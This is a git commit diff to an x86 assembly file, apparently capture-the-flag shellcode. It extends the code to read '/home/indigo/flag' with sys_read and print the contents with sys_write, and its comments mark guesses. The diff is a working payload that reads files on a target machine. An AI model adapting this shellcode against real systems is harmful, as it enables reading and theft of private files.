From fde539741a42a29e39cc25d34b95e34978fe902c Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Tue, 27 Oct 2020 05:43:37 -0500 Subject: modified: fread modified: fread.asm modified: fread.o modified: payload --- fread.asm | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) (limited to 'fread.asm') diff --git a/fread.asm b/fread.asm index 358cc93..d02753a 100644 --- a/fread.asm +++ b/fread.asm @@ -14,12 +14,23 @@ int 0x80 ;eax now contains our file descriptor. +mov ebx, eax mov al, 3 ;sys_read -mov ebx, esp ;I think? -mov cl, 0xff ;eh, random guess I guess +mov ecx, esp ;I think? +xor edx, edx +mov dl, 0xff ;eh, random guess I guess int 0x80 +mov al, 4 +xor ebx, ebx +mov bl, 1 +mov ecx, esp +;dl stays the same +int 0x80 + + + data: call str_found db "/home/indigo/flag" -- cgit v1.2.3